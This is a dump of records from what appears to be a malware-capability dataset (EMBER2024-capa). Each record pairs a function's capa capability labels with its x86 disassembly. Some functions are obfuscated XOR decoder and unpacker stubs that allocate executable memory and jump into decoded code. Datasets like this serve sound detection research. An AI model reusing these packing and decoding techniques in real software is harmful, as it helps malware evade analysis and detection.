joyce8/EMBER2024-capa huggingface dataset:
Function at 0x436320
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
call fcn.0045d928
mov eax, dword [esi + 0x74]
push eax
push 0x472
mov ecx, esi
call fcn.0045b745
mov ecx, eax
call fcn.0045b82f
push 0
push 0
push esi
push 0x436360
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop esi
ret
Function at 0x4475e0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x48dc2d
mov eax, dword fs:[0]
push eax
sub esp, 0x20c
push esi
push edi
mov eax, dword [0x4ae680]
xor eax, esp
push eax
lea eax, [esp + 0x218]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [esp + 0xc]
push eax
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.0046432f
push 0
call fcn.00465393
add esp, 4
push 0x49e8e0
mov ecx, esi
call fcn.00465866
push 0x49aaa0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x447695
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0x49e900
call fcn.0045ee8a
xor eax, eax
mov ecx, dword [esp + 0x218]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x14]
push ecx
call fcn.00447d40
lea edx, [esp + 0x14]
mov dword [esp + 0x220], 0
mov ecx, edx
mov dword [esi + 0x20], edx
call fcn.0045dc27
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x224], 0xffffffff
call fcn.004476f0
xor eax, eax
mov ecx, dword [esp + 0x218]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x44a120
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x48ff18
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
mov eax, dword [0x4ae680]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov dword [esp + 0x1c], 2
mov eax, dword [esp + 0x30]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0xc], esp
mov esi, esp
push eax
call fcn.00407730
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x24], 3
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
mov dword [esp + 0x14], esp
mov esi, esp
push eax
call fcn.00407730
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x28], 4
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.00407730
add eax, 0x10
mov dword [esi], eax
mov eax, dword [esp + 0x34]
add esp, 4
push eax
mov byte [esp + 0x2c], 2
call fcn.0044b070
mov byte [esp + 0x1c], 1
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x44a1d6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x1c], 0
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x44a1fb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x1c], 0xffffffff
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x44a223
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x18
ret 0x10
Function at 0x4538f0
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x49192e
mov eax, dword fs:[0]
push eax
mov eax, 0x272c
call fcn.00478630
mov eax, dword [0x4ae680]
xor eax, esp
mov dword [esp + 0x2724], eax
push esi
mov eax, dword [0x4ae680]
xor eax, esp
push eax
lea eax, [esp + 0x2734]
mov dword fs:[0], eax
push str.default
lea ecx, [esp + 0x10]
mov dword [esp + 0x2740], 0
call fcn.0040bf30
mov dword [esp + 0x14], vtable.CCmdsMag.0
mov byte [esp + 0x273c], 2
mov eax, dword [esp + 0x2744]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x2744]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x14], esp
mov esi, esp
push eax
call fcn.00407730
add eax, 0x10
add esp, 4
lea ecx, [esp + 0x18]
mov dword [esi], eax
call fcn.00413240
mov byte [esp + 0x273c], 0
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4539b3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x273c], 0xffffffff
mov eax, dword [esp + 0x2744]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4539e1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x2734]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x2724]
xor ecx, esp
call fcn.00476352
add esp, 0x2738
ret 4

Function at 0x45b669
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x45b6b0
call fcn.0046635a
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x45b6b0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x45b6cc
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0045b1e3
mov esi, eax
test edi, edi
je 0x45b6ca
test ebx, ebx
je 0x45b6ca
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x45be90
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x48c86e
call fcn.0047851a
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x45beb5
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x45befb
lea ecx, [ebp - 0x10]
call fcn.00407470
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0045b6d3
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00407840
mov eax, esi
call fcn.004785f2
ret 8
Function at 0x45de5f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x45de83
cmp dword [edi + 0x54], 0
jne 0x45de83
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0046635a
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0045de20
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x464eea
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x464f32
call fcn.0046635a
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x464f32
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x464f75
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x464f5e
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x464f5e
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x464f72
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x476352
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4ae680]
jne 0x47635c
repz ret
jmp fcn.0047d107
Function at 0x488ca8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0047e0ef
and dword [ebp - 4], 0
cmp dword [0x4b2964], 0
mov ebx, eax
jne 0x488d59
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x488e0a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x49a0dc
push edi
call esi
test eax, eax
je 0x488e0a
push eax
call fcn.0047e07d
mov dword [esp], 0x49a0cc
push edi
mov dword [0x4b2964], eax
call esi
push eax
call fcn.0047e07d
mov dword [esp], 0x49a0b8
push edi
mov dword [0x4b2968], eax
call esi
push eax
call fcn.0047e07d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4b296c], eax
call esi
push eax
call fcn.0047e07d
pop ecx
mov dword [0x4b2974], eax
test eax, eax
je 0x488d59
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0047e07d
pop ecx
mov dword [0x4b2970], eax
mov eax, dword [0x4b2970]
cmp eax, ebx
je 0x488db1
cmp dword [0x4b2974], ebx
je 0x488db1
push eax
call fcn.0047e0f8
push dword [0x4b2974]
mov esi, eax
call fcn.0047e0f8
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x488db1
test edi, edi
je 0x488db1
call esi
test eax, eax
je 0x488da8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x488da8
test byte [ebp - 0xc], 1
jne 0x488db1
or dword [ebp + 0x10], 0x200000
jmp 0x488dea
mov eax, dword [0x4b2968]
cmp eax, ebx
je 0x488dea
push eax
call fcn.0047e0f8
pop ecx
test eax, eax
je 0x488dea
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x488dea
mov eax, dword [0x4b296c]
cmp eax, ebx
je 0x488dea
push eax
call fcn.0047e0f8
pop ecx
test eax, eax
je 0x488dea
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4b2964]
call fcn.0047e0f8
pop ecx
test eax, eax
je 0x488e0a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x488e0c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x4070d4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x4070e3
pop dword [ebp - 0x10]
mov eax, 0x4070e3
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xf0ce4936
sub dword [ebp - 0x20], 0xa27c03eb
mov dword [ebp - 0x1c], 0x763d5c6c
add dword [ebp - 0x1c], 0xbbf5efd9
mov dword [ebp - 0x18], 0xfaab763e
sub dword [ebp - 0x18], 0xae5f3210
mov dword [ebp - 0x14], 0x53d08205
sub dword [ebp - 0x14], 0x53d08205
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x26216117
add dword [ebp - 0x20], 0x4e51083f
mov dword [ebp - 0x1c], 0x316465a4
add dword [ebp - 0x1c], 0x1007fbd1
mov dword [ebp - 0x18], 0x3c073318
sub dword [ebp - 0x18], 0xd897c6ac
mov dword [ebp - 0x14], 0x8bb84789
add dword [ebp - 0x14], 0x7447b877
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x28247780
add eax, 0xd81c0980
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x33b84
push 0
call eax
mov ecx, 0xa54a4bde
add ecx, 0x5ab5eec8
mov edi, eax
mov ebx, 0xf9a0748
add ebx, 0xf0aafcb8
add ebx, dword [ebp - 0x10]
mov esi, 0x5841644c
sub dword [ebp - 4], ecx
mov edx, dword [ebx]
mov dword [ebp - 0xc], 0x957af576
xor edx, esi
sub dword [ebp - 0xc], 0xe1bc4918
mov dword [edi], edx
add dword [ebp - 0xc], 0x50aed978
add edi, 4
add ebx, 0x7428fb96
add ebx, 0x8bd7046e
loop 0x4071f5
add eax, 0xf712fb04
sub eax, 0xf7121d99
mov ebx, eax
add eax, 0xc92a638c
add eax, 0x36d59c79
mov ecx, 0xb7f37b4
sub ecx, 0xb3f37b4
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x1002deab
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009e9af
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x100eed78]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
and dword [ebp - 4], 0
push 0
mov dword [esi], vtable.FtpSession.0
call fcn.1006dd95
lea ecx, [esi + 0x64]
call fcn.1006dd95
lea ecx, [esi + 0x30]
call fcn.10002a67
mov ecx, esi
mov dword [esi], vtable.InetFtpAsyncObj.0
call fcn.1006dd95
test byte [ebp + 8], 1
je 0x1002df0b
push esi
call fcn.1006dd95
pop ecx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
leave
ret 4
Function at 0x100303c8
Capabilities:
Send data

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
xor edx, edx
push esi
mov esi, ecx
mov ecx, dword [ebp + 0xc]
push edi
mov dword [ebx], edx
test ecx, ecx
je 0x10030405
mov eax, dword [esi + 4]
cmp eax, 4
je 0x100303eb
cmp eax, 5
jne 0x10030405
cmp dword [esi + 0x98], edx
jne 0x10030419
sub eax, 4
je 0x1003040e
sub eax, 1
jne 0x10030405
mov eax, dword [esi + 0x78]
mov dword [ebx], eax
mov dword [esi + 0x78], edx
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
mov eax, dword [ebp + 8]
mov dword [esi + 0x9c], eax
jmp 0x10030405
mov cl, byte [esi + 0x7c]
test cl, cl
je 0x10030405
cmp eax, 5
jne 0x10030405
lea edi, [esi + 0xa0]
cmp dword [edi], edx
jne 0x1003048d
push dword [esi + 0x64]
push str.call_InternetWriteFile_0x_08x__n
push 7
push 0xc
call fcn.1001ef2c
add esp, 0x10
lea ecx, [esi + 0x34]
mov eax, dword [ecx]
push edx
call dword [eax + 0x24]
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x64]
call dword [sym.imp.WININET.dll_InternetWriteFile]
mov byte [esi + 0x7c], al
test al, al
je 0x1003047a
push dword [esi + 0x64]
push str.InternetWriteFile_0x_08x__completed_synchronously_n
push 7
push 0xc
call fcn.1001ef2c
mov al, byte [esi + 0x7c]
add esp, 0x10
xor edx, edx
mov cl, al
test al, al
je 0x1003048d
cmp dword [edi], edx
jne 0x1003048d
mov ecx, dword [ebp + 0xc]
mov dword [edi], ecx
mov cl, al
test cl, cl
je 0x100304ac
mov eax, dword [edi]
mov dword [ebx], eax
mov eax, dword [edi]
sub dword [esi + 0x78], eax
mov dword [edi], edx
je 0x100304ac
mov ecx, dword [esi + 0x48]
push edx
mov eax, dword [ecx]
call dword [eax + 0x34]
jmp 0x10030405
movsx eax, byte [esi + 0x7c]
push ecx
push edx
push eax
lea ecx, [esi + 0x34]
call fcn.1006dd95
jmp 0x10030407
Function at 0x100304c0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
mov ecx, dword [esi + 0x48]
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov edx, dword [ebp + 8]
lea edi, [esi + 0x60]
mov dword [edx], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [edi]
mov dword [eax], ecx
cmp dword [esi + 4], 8
je 0x100304eb
cmp dword [esi + 4], 7
jne 0x10030509
xor ebx, ebx
test ecx, ecx
je 0x10030510
mov ecx, dword [esi + 0x48]
mov dword [esi + 0xa4], ebx
mov dword [edi], ebx
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov ecx, dword [ebp + 0xc]
mov ecx, dword [ecx]
mov byte [eax + ecx], bl
xor eax, eax
jmp 0x100305be
cmp dword [esi + 0xa4], ebx
jne 0x10030509
push dword [esi + 0x64]
push str.call_InternetReadFile_0x_08x__n
push 7
push 0xc
call fcn.1001ef2c
add esp, 0x10
lea ecx, [esi + 0x34]
mov eax, dword [ecx]
push ebx
call dword [eax + 0x24]
mov ecx, dword [esi + 0x48]
mov eax, dword [ecx]
call dword [eax + 0x2c]
push edi
push 0x1000
push eax
push dword [esi + 0x64]
call dword [sym.imp.WININET.dll_InternetReadFile]
push dword [esi + 0x64]
test eax, eax
je 0x10030599
push dword [edi]
push str.received__d_bytes_from_0x_08x_n
push 7
push 0xc
call fcn.1001ef2c
mov ecx, dword [edi]
add esp, 0x14
test ecx, ecx
jne 0x10030574
mov dword [esi + 4], 9
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
mov ecx, dword [esi + 0x48]
mov dword [edi], ebx
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov ecx, dword [ebp + 0xc]
push ebx
mov ecx, dword [ecx]
mov byte [eax + ecx], bl
mov ecx, dword [esi + 0x48]
mov eax, dword [ecx]
call dword [eax + 0x34]
jmp 0x10030509
push str.InternetReadFile_on_0x_08x_returned_FALSE_n
push 7
push 0xc
call fcn.1001ef2c
add esp, 0xc
mov dword [esi + 0xa4], 1
lea ecx, [esi + 0x34]
push ebx
push ebx
call fcn.1006dd95
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x1006dab8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x100a91de
call fcn.1009cc92
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov edi, dword [ebp + 8]
mov dword [ebp - 0x424], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1006dcca
mov edx, edi
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x1006db0a
sub edx, ecx
sar edx, 1
inc edx
push ecx
lea ecx, [ebp - 0x41c]
mov dword [ebp - 0x41c], edx
call fcn.1006c7b5
test eax, eax
js 0x1006dcca
mov esi, dword [ebp - 0x41c]
cmp esi, 0x400
jg 0x1006db5b
mov ecx, esi
call fcn.1006c818
test al, al
je 0x1006db5b
mov eax, esi
call fcn.1009cd15
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x1006db67
push esi
lea ecx, [ebp - 0x428]
call fcn.1006dd95
push 3
push esi
mov edx, edi
mov ecx, eax
call fcn.1006dd95
mov edi, eax
test edi, edi
je 0x1006dcc4
push 0x60
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov esi, eax
mov dword [ebp - 0x41c], esi
test esi, esi
jne 0x1006dbb5
push 2
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov esi, eax
mov dword [ebp - 0x41c], eax
test esi, esi
jne 0x1006dbb5
call fcn.1006c19a
mov edi, eax
jmp 0x1006dca9
push dword [ebp - 0x420]
push dword [ebp - 0x424]
push esi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x1006dbd8
call fcn.1006c19a
jmp 0x1006dc9c
push edi
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
test eax, eax
je 0x1006dbce
push edi
push esi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov edi, eax
mov dword [ebp - 0x424], edi
lea ecx, [edi + 1]
cmp ecx, edi
jae 0x1006dc0b
mov edi, 0x8007000e
jmp 0x1006dc9e
mov byte [ebp - 4], 2
call fcn.1006c8c7
cmp eax, 0x400
jbe 0x1006dc29
push eax
lea ecx, [ebp - 0x418]
call fcn.1006dd95
jmp 0x1006dc35
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
mov dword [ebp - 4], 1
jmp 0x1006dc59
cmp dword [ebp - 0x418], 0
je 0x1006dc01
mov ecx, dword [ebp - 0x418]
mov edx, edi
push edi
push dword [ebp - 0x420]
call fcn.1006dd95
pop ecx
pop ecx
mov ecx, eax
call fcn.1006cdee
mov eax, dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
push dword [ebp + 0x14]
mov byte [eax + edi], bl
push dword [ebp - 0x418]
call fcn.1006dd95
mov edi, eax
test esi, esi
je 0x1006dca9
push esi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1006dce4
lea ecx, [ebp - 0x418]
call fcn.1006c188
jmp 0x1006dce4
mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x1006dcdf
lea ecx, [ebp - 0x418]
call fcn.1006c188
mov edi, 0x8007000e
lea ecx, [ebp - 0x428]
call fcn.1006c79b
mov eax, edi
lea esp, [ebp - 0x440]
call fcn.1009cbe3
ret 0x10
Function at 0x1006dd95
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x1006dda4
pop dword [ebp - 0x38]
mov eax, 0x79efc04b
sub eax, 0x69e8e2a7
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x971238c5
add dword [ebp - 0x48], 0xb7400c86
mov dword [ebp - 0x44], 0x5c491833
add dword [ebp - 0x44], 0xd5ea3412
mov dword [ebp - 0x40], 0x8cd97da4
sub dword [ebp - 0x40], 0x408d3976
mov dword [ebp - 0x3c], 0xb2c7cae4
add dword [ebp - 0x3c], 0x4d38351c
lea eax, [ebp - 0x48]
push eax
mov eax, 0x4a5dc45
add eax, 0xb651413
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xf18bfeda
add dword [ebp - 0x48], 0x82e66a7c
mov dword [ebp - 0x44], 0x5cce85e2
add dword [ebp - 0x44], 0xe49ddb93
mov dword [ebp - 0x40], 0x19caf62e
sub dword [ebp - 0x40], 0xb65b89c2
mov dword [ebp - 0x3c], 0x608d8e6a
sub dword [ebp - 0x3c], 0x608d8e6a
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xf9ccaf59
add eax, 0x163e413f
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x4c4aa
push 0
call eax
mov ecx, 0x749a38d8
add ecx, 0x8b6618ea
mov edx, eax
mov ebx, 0xad426ec5
add ebx, 0x62d00f3b
add ebx, dword [ebp - 0x38]
mov edi, 0xbbe203a8
add edi, 0x2e2589c0
mov esi, dword [ebx]
add dword [ebp - 0x30], 0x2a8de2eb
xor esi, edi
mov dword [ebp - 0x24], 0xbbf67e2b
mov dword [edx], esi
sub dword [ebp - 0xc], edi
add edx, 0xf84efd1
add edx, 0xf07b1033
add ebx, 4
loop 0x1006dec6
add eax, 0x139db
mov ebx, eax
add eax, 0x97c8cb76
add eax, 0x6837348f
mov ecx, 0xe01dd437
sub ecx, 0xd01dd437
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x1006f8c5
Capabilities:
Generate random numbers via winapi

Disassembly:
push 0x230
mov eax, 0x100a94b9
call fcn.1009cc24
mov dword [ebp - 0x234], edx
mov ebx, ecx
push ebx
lea ecx, [ebp - 0x238]
call dword [sym.imp.fpsrvutl.dll_Ordinal_5241]
xor esi, esi
mov dword [ebp - 4], esi
mov eax, dword [0x100f55b0]
add eax, 0xe8
mov dword [ebp - 0x23c], eax
mov edi, dword [eax]
test edi, edi
jne 0x1006f924
push 0xf0000040
push 1
push esi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov edi, dword [ebp - 0x23c]
mov edi, dword [edi]
test edi, edi
je 0x1006fa2c
lea eax, [ebp - 0x230]
push eax
push 0x18
push edi
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x1006fa2c
mov eax, dword [ebp - 0x21c]
xor edx, edx
push 0x24
pop ecx
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x220]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x224]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x228]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x22c]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x230]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
push eax
push dword [ebp - 0x238]
lea eax, [ebp - 0x218]
push str._wswe_c_c_c_c_c_c.tmp
push 0xffffffffffffffff
push eax
call fcn.1006dd95
add esp, 0x28
lea eax, [ebp - 0x218]
cmp byte [ebp + 8], 0
je 0x1006fa1d
push esi
push 0x80
push 1
push esi
push esi
push 0x40000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x1006fa10
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
je 0x1006f924
cmp eax, 0x50
je 0x1006f924
jmp 0x1006fa32
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
lea eax, [ebp - 0x218]
mov ecx, dword [ebp - 0x234]
push eax
call dword [sym.imp.fpsrvutl.dll_Ordinal_5525]
jmp 0x1006fa41
call dword [sym.imp.kernel32.dll_GetLastError]
push ebx
mov edx, eax
mov ecx, 0x20002
call fcn.10020b05
mov esi, eax
lea ecx, [ebp - 0x238]
call dword [sym.imp.fpsrvutl.dll_Ordinal_2017]
mov eax, esi
call fcn.1009cbd6
ret 4